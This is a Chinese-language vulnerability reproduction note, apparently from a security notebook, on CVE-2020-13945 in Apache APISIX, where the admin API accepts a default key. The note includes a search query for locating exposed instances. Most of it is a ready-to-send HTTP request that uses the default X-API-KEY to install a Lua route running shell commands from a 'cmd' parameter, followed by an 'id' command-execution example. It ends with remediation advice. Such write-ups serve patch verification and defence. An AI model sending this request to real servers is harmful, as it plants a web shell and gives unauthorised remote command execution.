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62 lines
2.3 KiB
Markdown
62 lines
2.3 KiB
Markdown
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# Apache APISIX 默认密钥漏洞(CVE-2020-13945)
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# 一、漏洞简介
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Apache APISIX 是一个动态、实时、高性能的 API 网关，基于 Nginx 网络库和 etcd 实现， 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API，没有配置相应的IP访问策略，且没有修改配置文件Token的情况下，通过攻击管理员接口，即可使用script参数来插入任意LUA脚本并执行。
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# 二、影响版本
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+ Apache APISIX 1.2—1.5
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# 三、资产测绘
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+ hunter`app.name="APISIX"`
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+ 特征
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# 四、漏洞复现
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利用默认Token增加一个恶意的router，其中包含恶意LUA脚本：
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```plain
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POST /apisix/admin/routes HTTP/1.1
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Host: xx.xx.xx.xx
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
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Content-Type: application/json
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Content-Length: 406
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{
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"uri": "/attack",
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"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
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"upstream": {
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"type": "roundrobin",
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"nodes": {
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"example.com:80": 1
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}
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}
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}
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```
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访问刚才添加的router，就可以通过cmd参数执行任意命令
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```plain
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/attack?cmd=id
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```
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# 五、修复建议
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1. 修改Apache APISIX配置文件中 conf/config.yaml 的admin_key，禁止使用默认Token
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2. 若非必要，关闭Apache APISIX Admin API功能，或者增加IP访问限制。
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3. 升级Apache APISIX 至最新版本。
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> 更新: 2024-02-29 23:57:33
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sz75upt9woezyc2g>
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